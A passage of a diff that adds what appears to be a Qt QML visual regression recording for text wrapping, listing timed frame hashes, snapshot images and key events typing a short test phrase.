+ Frame {
+ msec: 128
+ hash: "5fe2c4c01922f0b0d3f65152bd80f689"
+ }
+ Frame {
+ msec: 144
+ hash: "5fe2c4c01922f0b0d3f65152bd80f689"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 160
+ hash: "9645f4ad60570c8a95e9ae6dda3f5060"
+ }
+ Frame {
+ msec: 176
+ hash: "9645f4ad60570c8a95e9ae6dda3f5060"
+ }
+ Frame {
+ msec: 192
+ hash: "9645f4ad60570c8a95e9ae6dda3f5060"
+ }
+ Key {
+ type: 7
+ key: 72
+ modifiers: 0
+ text: "68"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 208
+ hash: "9645f4ad60570c8a95e9ae6dda3f5060"
+ }
+ Frame {
+ msec: 224
+ hash: "9645f4ad60570c8a95e9ae6dda3f5060"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 240
+ hash: "f28f446cb8de8af0a49ae6e728c996fc"
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 256
+ hash: "f28f446cb8de8af0a49ae6e728c996fc"
+ }
+ Frame {
+ msec: 272
+ hash: "f28f446cb8de8af0a49ae6e728c996fc"
+ }
+ Frame {
+ msec: 288
+ hash: "f28f446cb8de8af0a49ae6e728c996fc"
+ }
+ Frame {
+ msec: 304
+ hash: "f28f446cb8de8af0a49ae6e728c996fc"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 320
+ hash: "f28f446cb8de8af0a49ae6e728c996fc"
+ }
+ Frame {
+ msec: 336
+ hash: "f28f446cb8de8af0a49ae6e728c996fc"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 352
+ hash: "98c390c519cd0476de17be8bb49b0f65"
+ }
+ Frame {
+ msec: 368
+ hash: "98c390c519cd0476de17be8bb49b0f65"
+ }
+ Frame {
+ msec: 384
+ hash: "98c390c519cd0476de17be8bb49b0f65"
+ }
+ Frame {
+ msec: 400
+ hash: "98c390c519cd0476de17be8bb49b0f65"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 416
+ hash: "98c390c519cd0476de17be8bb49b0f65"
+ }
+ Frame {
+ msec: 432
+ hash: "98c390c519cd0476de17be8bb49b0f65"
+ }
+ Frame {
+ msec: 448
+ hash: "98c390c519cd0476de17be8bb49b0f65"
+ }
+ Frame {
+ msec: 464
+ hash: "98c390c519cd0476de17be8bb49b0f65"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 480
+ hash: "d842a866459f3ecb4fa4fc1426a05411"
+ }
+ Frame {
+ msec: 496
+ hash: "d842a866459f3ecb4fa4fc1426a05411"
+ }
+ Frame {
+ msec: 512
+ hash: "d842a866459f3ecb4fa4fc1426a05411"
+ }
+ Frame {
+ msec: 528
+ hash: "d842a866459f3ecb4fa4fc1426a05411"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 544
+ hash: "4c858bfd2e8ba7a959bbf2d1e17865e7"
+ }
+ Frame {
+ msec: 560
+ hash: "4c858bfd2e8ba7a959bbf2d1e17865e7"
+ }
+ Frame {
+ msec: 576
+ hash: "4c858bfd2e8ba7a959bbf2d1e17865e7"
+ }
+ Frame {
+ msec: 592
+ hash: "4c858bfd2e8ba7a959bbf2d1e17865e7"
+ }
+ Frame {
+ msec: 608
+ hash: "4c858bfd2e8ba7a959bbf2d1e17865e7"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 624
+ hash: "9eed9c764b2c5b73a60df84fc0d68756"
+ }
+ Frame {
+ msec: 640
+ hash: "9eed9c764b2c5b73a60df84fc0d68756"
+ }
+ Frame {
+ msec: 656
+ hash: "9eed9c764b2c5b73a60df84fc0d68756"
+ }
+ Frame {
+ msec: 672
+ hash: "9eed9c764b2c5b73a60df84fc0d68756"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 688
+ hash: "9eed9c764b2c5b73a60df84fc0d68756"
+ }
+ Frame {
+ msec: 704
+ hash: "9eed9c764b2c5b73a60df84fc0d68756"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 720
+ hash: "7a1d64574a0a6b90695629fd443274e6"
+ }
+ Frame {
+ msec: 736
+ hash: "7a1d64574a0a6b90695629fd443274e6"
+ }
+ Frame {
+ msec: 752
+ hash: "7a1d64574a0a6b90695629fd443274e6"
+ }
+ Frame {
+ msec: 768
+ hash: "7a1d64574a0a6b90695629fd443274e6"
+ }
+ Frame {
+ msec: 784
+ hash: "7a1d64574a0a6b90695629fd443274e6"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 800
+ hash: "7a1d64574a0a6b90695629fd443274e6"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 816
+ hash: "31e9c4500448142ee2be3171a2bd5385"
+ }
+ Frame {
+ msec: 832
+ hash: "31e9c4500448142ee2be3171a2bd5385"
+ }
+ Frame {
+ msec: 848
+ hash: "31e9c4500448142ee2be3171a2bd5385"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 864
+ hash: "31e9c4500448142ee2be3171a2bd5385"
+ }
+ Frame {
+ msec: 880
+ hash: "31e9c4500448142ee2be3171a2bd5385"
+ }
+ Frame {
+ msec: 896
+ hash: "31e9c4500448142ee2be3171a2bd5385"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 912
+ hash: "7fcfd3706ba11c43ac0a4c2f96b1d80d"
+ }
+ Frame {
+ msec: 928
+ hash: "7fcfd3706ba11c43ac0a4c2f96b1d80d"
+ }
+ Frame {
+ msec: 944
+ hash: "7fcfd3706ba11c43ac0a4c2f96b1d80d"
+ }
+ Frame {
+ msec: 960
+ hash: "7fcfd3706ba11c43ac0a4c2f96b1d80d"
+ }
+ Frame {
+ msec: 976
+ image: "wrap.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "7fcfd3706ba11c43ac0a4c2f96b1d80d"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1008
+ hash: "c05191599361c4171c086630f9608cd0"
+ }
+ Frame {
+ msec: 1024
+ hash: "c05191599361c4171c086630f9608cd0"
+ }
+ Frame {
+ msec: 1040
+ hash: "c05191599361c4171c086630f9608cd0"
+ }
+ Frame {
+ msec: 1056
+ hash: "c05191599361c4171c086630f9608cd0"
+ }
+ Frame {
+ msec: 1072
+ hash: "c05191599361c4171c086630f9608cd0"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1088
+ hash: "c05191599361c4171c086630f9608cd0"
+ }
+ Frame {
+ msec: 1104
+ hash: "c05191599361c4171c086630f9608cd0"
+ }
+ Frame {
+ msec: 1120
+ hash: "c05191599361c4171c086630f9608cd0"
+ }
+ Frame {
+ msec: 1136
+ hash: "c05191599361c4171c086630f9608cd0"
+ }
+ Frame {
+ msec: 1152
+ hash: "c05191599361c4171c086630f9608cd0"
+ }
+ Frame {
+ msec: 1168
+ hash: "c05191599361c4171c086630f9608cd0"
+ }
+ Frame {
+ msec: 1184
+ hash: "c05191599361c4171c086630f9608cd0"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1200
+ hash: "088e0567dd568019ccb2114d3108a1dd"
+ }
+ Frame {
+ msec: 1216
+ hash: "088e0567dd568019ccb2114d3108a1dd"
+ }
+ Frame {
+ msec: 1232
+ hash: "088e0567dd568019ccb2114d3108a1dd"
+ }
+ Frame {
+ msec: 1248
+ hash: "088e0567dd568019ccb2114d3108a1dd"
+ }
+ Frame {
+ msec: 1264
+ hash: "088e0567dd568019ccb2114d3108a1dd"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1280
+ hash: "35fde81ed66c4804b2b31c0d93fb010a"
+ }
+ Frame {
+ msec: 1296
+ hash: "35fde81ed66c4804b2b31c0d93fb010a"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1312
+ hash: "0b212b2b1354e99db328c30d4c8e8b4e"
+ }
+ Frame {
+ msec: 1328
+ hash: "0b212b2b1354e99db328c30d4c8e8b4e"
+ }
+ Frame {
+ msec: 1344
+ hash: "0b212b2b1354e99db328c30d4c8e8b4e"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1360
+ hash: "0b212b2b1354e99db328c30d4c8e8b4e"
+ }
+ Frame {
+ msec: 1376
+ hash: "0b212b2b1354e99db328c30d4c8e8b4e"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1392
+ hash: "0b212b2b1354e99db328c30d4c8e8b4e"
+ }
+ Frame {
+ msec: 1408
+ hash: "0b212b2b1354e99db328c30d4c8e8b4e"
+ }
+ Frame {
+ msec: 1424
+ hash: "0b212b2b1354e99db328c30d4c8e8b4e"
+ }
+ Frame {
+ msec: 1440
+ hash: "0b212b2b1354e99db328c30d4c8e8b4e"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1456
+ hash: "1d19bc237d8de1598a629f2aea7e8e97"
+ }
+ Frame {
+ msec: 1472
+ hash: "1d19bc237d8de1598a629f2aea7e8e97"
+ }
+ Frame {
+ msec: 1488
+ hash: "1d19bc237d8de1598a629f2aea7e8e97"
+ }
+ Frame {
+ msec: 1504
+ hash: "1d19bc237d8de1598a629f2aea7e8e97"
+ }
+ Frame {
+ msec: 1520
+ hash: "1d19bc237d8de1598a629f2aea7e8e97"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1536
+ hash: "1d19bc237d8de1598a629f2aea7e8e97"
+ }
+ Frame {
+ msec: 1552
+ hash: "1d19bc237d8de1598a629f2aea7e8e97"
+ }
+ Key {
+ type: 6
+ key: 72
+ modifiers: 0
+ text: "68"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1568
+ hash: "df3025b2de2cf6cee2b918c6d13834c6"
+ }
+ Frame {
+ msec: 1584
+ hash: "df3025b2de2cf6cee2b918c6d13834c6"
+ }
+ Frame {
+ msec: 1600
+ hash: "df3025b2de2cf6cee2b918c6d13834c6"
+ }
+ Frame {
+ msec: 1616
+ hash: "df3025b2de2cf6cee2b918c6d13834c6"
+ }
+ Frame {
+ msec: 1632
+ hash: "df3025b2de2cf6cee2b918c6d13834c6"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 72
+ modifiers: 0
+ text: "68"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1648
+ hash: "b19baef8a5d8efd96d5ec9e729a9d42a"
+ }
+ Frame {
+ msec: 1664
+ hash: "b19baef8a5d8efd96d5ec9e729a9d42a"
+ }
+ Frame {
+ msec: 1680
+ hash: "b19baef8a5d8efd96d5ec9e729a9d42a"
+ }
+ Frame {
+ msec: 1696
+ hash: "b19baef8a5d8efd96d5ec9e729a9d42a"
+ }
+ Frame {
+ msec: 1712
+ hash: "b19baef8a5d8efd96d5ec9e729a9d42a"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1728
+ hash: "914e61f38d7f2b5a465037d6ef1ddaba"
+ }
+ Frame {
+ msec: 1744
+ hash: "914e61f38d7f2b5a465037d6ef1ddaba"
+ }
+ Frame {
+ msec: 1760
+ hash: "914e61f38d7f2b5a465037d6ef1ddaba"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1776
+ hash: "914e61f38d7f2b5a465037d6ef1ddaba"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1792
+ hash: "e816134a8fef0bbee8e94c0f9561750b"
+ }
+ Frame {
+ msec: 1808
+ hash: "e816134a8fef0bbee8e94c0f9561750b"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1824
+ hash: "e816134a8fef0bbee8e94c0f9561750b"
+ }
+ Frame {
+ msec: 1840
+ hash: "e816134a8fef0bbee8e94c0f9561750b"
+ }
+ Frame {
+ msec: 1856
+ hash: "e816134a8fef0bbee8e94c0f9561750b"
+ }
+ Frame {
+ msec: 1872
+ hash: "e816134a8fef0bbee8e94c0f9561750b"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1888
+ hash: "e816134a8fef0bbee8e94c0f9561750b"
+ }
+ Frame {
+ msec: 1904
+ hash: "e816134a8fef0bbee8e94c0f9561750b"
+ }
+ Frame {
+ msec: 1920
+ hash: "e816134a8fef0bbee8e94c0f9561750b"
+ }
+ Frame {
+ msec: 1936
+ image: "wrap.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "e816134a8fef0bbee8e94c0f9561750b"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1968
+ hash: "9552729028c8e129e19c06ff35bb085b"
+ }
+ Frame {
+ msec: 1984
+ hash: "9552729028c8e129e19c06ff35bb085b"
+ }
+ Frame {
+ msec: 2000
+ hash: "9552729028c8e129e19c06ff35bb085b"
+ }
+ Frame {
+ msec: 2016
+ hash: "9552729028c8e129e19c06ff35bb085b"
+ }
+ Frame {
+ msec: 2032
+ hash: "9552729028c8e129e19c06ff35bb085b"
+ }
+ Frame {
+ msec: 2048
+ hash: "9552729028c8e129e19c06ff35bb085b"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2064
+ hash: "2dbdfe3bd309b98af7ed8980725f3ee7"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2080
+ hash: "2dbdfe3bd309b98af7ed8980725f3ee7"
+ }
+ Frame {
+ msec: 2096
+ hash: "2dbdfe3bd309b98af7ed8980725f3ee7"
+ }
+ Frame {
+ msec: 2112
+ hash: "2dbdfe3bd309b98af7ed8980725f3ee7"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2128
+ hash: "2dbdfe3bd309b98af7ed8980725f3ee7"
+ }
+ Frame {
+ msec: 2144
+ hash: "2dbdfe3bd309b98af7ed8980725f3ee7"
+ }
+ Frame {
+ msec: 2160
+ hash: "2dbdfe3bd309b98af7ed8980725f3ee7"
+ }
+ Frame {
+ msec: 2176
+ hash: "2dbdfe3bd309b98af7ed8980725f3ee7"
+ }
+ Frame {
+ msec: 2192
+ hash: "2dbdfe3bd309b98af7ed8980725f3ee7"
+ }
+ Frame {
+ msec: 2208
+ hash: "2dbdfe3bd309b98af7ed8980725f3ee7"
+ }
+ Key {
+ type: 6
+ key: 88
+ modifiers: 0
+ text: "78"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2224
+ hash: "28748f90f61954b94377768788f1634d"
+ }
+ Frame {
+ msec: 2240
+ hash: "28748f90f61954b94377768788f1634d"
+ }
+ Frame {
+ msec: 2256
+ hash: "28748f90f61954b94377768788f1634d"
+ }
+ Frame {
+ msec: 2272
+ hash: "28748f90f61954b94377768788f1634d"
+ }
+ Frame {
+ msec: 2288
+ hash: "28748f90f61954b94377768788f1634d"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2304
+ hash: "2cf8ad2ba8ddcde4dd8549f034a77005"
+ }
+ Key {
+ type: 7
+ key: 88
+ modifiers: 0
+ text: "78"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2320
+ hash: "2cf8ad2ba8ddcde4dd8549f034a77005"
+ }
+ Frame {
+ msec: 2336
+ hash: "2cf8ad2ba8ddcde4dd8549f034a77005"
+ }
+ Frame {
+ msec: 2352
+ hash: "2cf8ad2ba8ddcde4dd8549f034a77005"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2368
+ hash: "95b6ce7c01461847a3f7aff88aa8ad9d"
+ }
+ Frame {
+ msec: 2384
+ hash: "95b6ce7c01461847a3f7aff88aa8ad9d"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2400
+ hash: "95b6ce7c01461847a3f7aff88aa8ad9d"
+ }
+ Frame {
+ msec: 2416
+ hash: "95b6ce7c01461847a3f7aff88aa8ad9d"
+ }
+ Frame {
+ msec: 2432
+ hash: "95b6ce7c01461847a3f7aff88aa8ad9d"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2448
+ hash: "95b6ce7c01461847a3f7aff88aa8ad9d"
+ }
+ Frame {
+ msec: 2464
+ hash: "95b6ce7c01461847a3f7aff88aa8ad9d"
+ }
+ Frame {
+ msec: 2480
+ hash: "95b6ce7c01461847a3f7aff88aa8ad9d"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2496
+ hash: "81872138f3cafb1cf06009df77af1461"
+ }
+ Frame {
+ msec: 2512
+ hash: "81872138f3cafb1cf06009df77af1461"
+ }
+ Frame {
+ msec: 2528
+ hash: "81872138f3cafb1cf06009df77af1461"
+ }
+ Frame {
+ msec: 2544
+ hash: "81872138f3cafb1cf06009df77af1461"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2560
+ hash: "81872138f3cafb1cf06009df77af1461"
+ }
+ Frame {
+ msec: 2576
+ hash: "81872138f3cafb1cf06009df77af1461"
+ }
+ Frame {
+ msec: 2592
+ hash: "81872138f3cafb1cf06009df77af1461"
+ }
+ Frame {
+ msec: 2608
+ hash: "81872138f3cafb1cf06009df77af1461"
+ }
+ Frame {
+ msec: 2624
+ hash: "81872138f3cafb1cf06009df77af1461"
+ }
+ Frame {
+ msec: 2640
+ hash: "81872138f3cafb1cf06009df77af1461"
+ }
+ Key {
+ type: 6
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2656
+ hash: "dfa35c08894d7ed748b8846fa3ce8fac"
+ }
+ Frame {
+ msec: 2672
+ hash: "dfa35c08894d7ed748b8846fa3ce8fac"
+ }
+ Frame {
+ msec: 2688
+ hash: "dfa35c08894d7ed748b8846fa3ce8fac"
+ }
+ Frame {
+ msec: 2704
+ hash: "dfa35c08894d7ed748b8846fa3ce8fac"
+ }
+ Key {
+ type: 7
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2720
+ hash: "dfa35c08894d7ed748b8846fa3ce8fac"
+ }
+ Frame {
+ msec: 2736
+ hash: "dfa35c08894d7ed748b8846fa3ce8fac"
+ }
+ Frame {
+ msec: 2752
+ hash: "dfa35c08894d7ed748b8846fa3ce8fac"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2768
+ hash: "9decac3d9243bebdc7699fcb77a31f21"
+ }
+ Frame {
+ msec: 2784
+ hash: "9decac3d9243bebdc7699fcb77a31f21"
+ }
+ Frame {
+ msec: 2800
+ hash: "9decac3d9243bebdc7699fcb77a31f21"
+ }
+ Frame {
+ msec: 2816
+ hash: "9decac3d9243bebdc7699fcb77a31f21"
+ }
+ Frame {
+ msec: 2832
+ hash: "9decac3d9243bebdc7699fcb77a31f21"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2848
+ hash: "6a1bb7dd22f3e090008ba265c30f9c2d"
+ }
+ Frame {
+ msec: 2864
+ hash: "6a1bb7dd22f3e090008ba265c30f9c2d"
+ }
+ Frame {
+ msec: 2880
+ hash: "6a1bb7dd22f3e090008ba265c30f9c2d"
+ }
+ Frame {
+ msec: 2896
+ image: "wrap.3.png"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2912
+ hash: "ee39b3014e140aff2f974f3b919f85f4"
+ }
+ Frame {
+ msec: 2928
+ hash: "ee39b3014e140aff2f974f3b919f85f4"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2944
+ hash: "ee39b3014e140aff2f974f3b919f85f4"
+ }
+ Frame {
+ msec: 2960
+ hash: "ee39b3014e140aff2f974f3b919f85f4"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2976
+ hash: "ee39b3014e140aff2f974f3b919f85f4"
+ }
+ Frame {
+ msec: 2992
+ hash: "ee39b3014e140aff2f974f3b919f85f4"
+ }
+ Frame {
+ msec: 3008
+ hash: "ee39b3014e140aff2f974f3b919f85f4"
+ }
+ Frame {
+ msec: 3024
+ hash: "ee39b3014e140aff2f974f3b919f85f4"
+ }
+ Frame {
+ msec: 3040
+ hash: "ee39b3014e140aff2f974f3b919f85f4"
+ }
+ Frame {
+ msec: 3056
+ hash: "ee39b3014e140aff2f974f3b919f85f4"
+ }
+ Frame {
+ msec: 3072
+ hash: "ee39b3014e140aff2f974f3b919f85f4"
+ }
+ Frame {
+ msec: 3088
+ hash: "ee39b3014e140aff2f974f3b919f85f4"
+ }
+ Key {
+ type: 6
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3104
+ hash: "d448179ec6bba91f3f70be821710a8c7"
+ }
+ Frame {
+ msec: 3120
+ hash: "d448179ec6bba91f3f70be821710a8c7"
+ }
+ Frame {
+ msec: 3136
+ hash: "d448179ec6bba91f3f70be821710a8c7"
+ }
+ Frame {
+ msec: 3152
+ hash: "d448179ec6bba91f3f70be821710a8c7"
+ }
+ Frame {
+ msec: 3168
+ hash: "d448179ec6bba91f3f70be821710a8c7"
+ }
+ Key {
+ type: 7
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3184
+ hash: "d448179ec6bba91f3f70be821710a8c7"
+ }
+ Frame {
+ msec: 3200
+ hash: "d448179ec6bba91f3f70be821710a8c7"
+ }
+ Frame {
+ msec: 3216
+ hash: "d448179ec6bba91f3f70be821710a8c7"
+ }
+ Frame {
+ msec: 3232
+ hash: "d448179ec6bba91f3f70be821710a8c7"
+ }
+ Frame {
+ msec: 3248
+ hash: "d448179ec6bba91f3f70be821710a8c7"
+ }
+ Key {
+ type: 6
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3264
+ hash: "e30b5aa9b5d08fba758fe781812f096d"
+ }
+ Frame {
+ msec: 3280
+ hash: "e30b5aa9b5d08fba758fe781812f096d"
+ }
+ Frame {
+ msec: 3296
+ hash: "e30b5aa9b5d08fba758fe781812f096d"
+ }
+ Key {
+ type: 7
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3312
+ hash: "e30b5aa9b5d08fba758fe781812f096d"
+ }
+ Frame {
+ msec: 3328
+ hash: "e30b5aa9b5d08fba758fe781812f096d"
+ }
+ Frame {
+ msec: 3344
+ hash: "e30b5aa9b5d08fba758fe781812f096d"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3360
+ hash: "ba932735c5079ad6562050b6e332d2e7"
+ }
+ Frame {
+ msec: 3376
+ hash: "ba932735c5079ad6562050b6e332d2e7"
+ }
+ Frame {
+ msec: 3392
+ hash: "ba932735c5079ad6562050b6e332d2e7"
+ }
+ Frame {
+ msec: 3408
+ hash: "ba932735c5079ad6562050b6e332d2e7"
+ }
+ Frame {
+ msec: 3424
+ hash: "ba932735c5079ad6562050b6e332d2e7"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3440
+ hash: "ba932735c5079ad6562050b6e332d2e7"
+ }
+ Frame {
+ msec: 3456
+ hash: "ba932735c5079ad6562050b6e332d2e7"
+ }
+ Frame {
+ msec: 3472
+ hash: "ba932735c5079ad6562050b6e332d2e7"
+ }
+ Key {
+ type: 6
+ key: 80
+ modifiers: 0
+ text: "70"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3488
+ hash: "01dacbcc21c541e0cbf272ee01292b7c"
+ }
+ Frame {
+ msec: 3504
+ hash: "01dacbcc21c541e0cbf272ee01292b7c"
+ }
+ Frame {
+ msec: 3520
+ hash: "01dacbcc21c541e0cbf272ee01292b7c"
+ }
+ Frame {
+ msec: 3536
+ hash: "01dacbcc21c541e0cbf272ee01292b7c"
+ }
+ Key {
+ type: 7
+ key: 80
+ modifiers: 0
+ text: "70"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3552
+ hash: "01dacbcc21c541e0cbf272ee01292b7c"
+ }
+ Frame {
+ msec: 3568
+ hash: "01dacbcc21c541e0cbf272ee01292b7c"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3584
+ hash: "7b493045fb2b7373525ce570d86542d7"
+ }
+ Frame {
+ msec: 3600
+ hash: "7b493045fb2b7373525ce570d86542d7"
+ }
+ Frame {
+ msec: 3616
+ hash: "7b493045fb2b7373525ce570d86542d7"
+ }
+ Frame {
+ msec: 3632
+ hash: "7b493045fb2b7373525ce570d86542d7"
+ }
+ Frame {
+ msec: 3648
+ hash: "7b493045fb2b7373525ce570d86542d7"
+ }
+ Frame {
+ msec: 3664
+ hash: "7b493045fb2b7373525ce570d86542d7"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3680
+ hash: "7c11ac5b8dfee4708b7b49c2a1a7db57"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3696
+ hash: "7c11ac5b8dfee4708b7b49c2a1a7db57"
+ }
+ Frame {
+ msec: 3712
+ hash: "7c11ac5b8dfee4708b7b49c2a1a7db57"
+ }
+ Frame {
+ msec: 3728
+ hash: "7c11ac5b8dfee4708b7b49c2a1a7db57"
+ }
+ Frame {
+ msec: 3744
+ hash: "7c11ac5b8dfee4708b7b49c2a1a7db57"
+ }
+ Frame {
+ msec: 3760
